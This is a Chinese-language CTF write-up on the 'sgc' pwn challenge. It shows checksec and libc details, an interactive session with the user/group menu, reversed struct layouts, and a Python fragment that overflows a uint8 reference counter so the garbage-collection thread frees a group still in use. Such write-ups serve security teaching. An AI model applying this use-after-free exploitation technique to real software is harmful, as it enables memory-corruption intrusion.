$ file sgc
sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7ef90bc896e72ba0c3191a2ce6acb732bf3b172, stripped
$ checksec -f sgc
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc
$ strings libc-2.26.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1 # 假设两个 user 的 group 相同
Enter group name: A
User:
Name: a
Group: A
Age: 1
User:
Name: b
Group: A
Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 3 # 修改 group,输入 y
Enter index: 0
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): y
Enter new group name: B
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1 # 两个 user 的 group 都被修改
Enter group name: B
User:
Name: a
Group: B
Age: 1
User:
Name: b
Group: B
Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 3 # 修改 group,输入 n
Enter index: 0
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): n
Enter new group name: A
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1 # 仅当前 user 的 group 被修改
Enter group name: A
User:
Name: a
Group: A
Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1
Enter group name: B
User:
Name: b
Group: B
Age: 1
玩一下,程序似乎有两个结构分别放置 user 和 group。而且 Edit 功能很有趣,根据选择 y 还是 n 有不同的操作,应该重点看看。
题目解析
GC
main 函数开始会启动一个新的线程,用于垃圾回收,然后才让我们输入菜单的选项。刚开始 r2 并不能识别这个线程函数,用命令 af 给它重新分析一下。函数如下:
struct group {
char *group_name;
uint8_t ref_count;
} group;
struct user {
uint8_t age;
char *name;
char *group;
} user;
struct user *users[0x60]; // 0x6020e0
struct group *groups[0x60]; // 0x6023e0
def overflow():
sleep(1)
for i in range(0x100-1):
add_user('a'*8, 'A'*4)
edit_group(0, 'n', 'B'*4)
delete_user(0)
add_user('a'*8, 'A'*4) # overflow ref_count
sleep(2) # group_name and group freed by GC